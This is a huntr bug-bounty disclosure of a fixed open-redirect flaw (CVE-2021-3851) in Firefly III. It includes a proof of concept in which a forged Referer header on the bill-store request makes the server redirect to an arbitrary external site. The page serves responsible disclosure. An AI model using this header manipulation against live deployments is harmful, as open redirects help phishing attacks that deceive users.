huntr

Open Redirect in firefly-iii/firefly-iii

0

✓ Valid Reported on Oct 1st 2021

Steps:
Login in application and and navigate to bill section and create bill and capture the request.
Web applications use different techniques to redirect users to the next page. Apps may use URL query parameters, header values, with JavaScript code, or it may be backend code. In case of this application, the value of the “Referer” header was used to redirect to next page.

Original Request:

```
POST /bills/store HTTP/1.1
Host: demo.firefly-iii.org
.
.
.
```

Original Response:

```
HTTP/1.1 302 Found
location: https://demo.firefly-iii.org/bills/create
.
.
.
```

Modified Request:

```
POST /bills/store HTTP/1.1
Host: demo.firefly-iii.org
Referer: http://abc.com/
.
.
.
```

Modified Response:

```
HTTP/1.1 302 Found
location: http://abc.com/
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="0;url='http://abc.com/'" />
<title>Redirecting to http://abc.com/</title>
</head>
<body>
Redirecting to <a href="http://abc.com/">http://abc.com/</a>.
</body>
</html>
```

References

- https://blog.qualys.com/product-tech/2019/12/11/cve-2019-11016-open-redirect-vulnerability

CVE
CVE-2021-3851
(Published)

Vulnerability Type
CWE-601: Open Redirect

Severity
Medium (5)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

takester
@takester
unranked

Chat with us

Fixed by

James Cole

@jc5

maintainer

This report was seen 445 times.

We have contacted a member of the **firefly-iii** team and are waiting to hear back a year ago

James Cole validated this vulnerability a year ago

takester has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

James Cole marked this as fixed with commit 8662df a year ago

James Cole has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Jamie Slome a year ago Admin

CVE published! 🎉🎉

takester a year ago Researcher

Thanks🎉🎉

Sign in to join this conversation

2022 © 418sec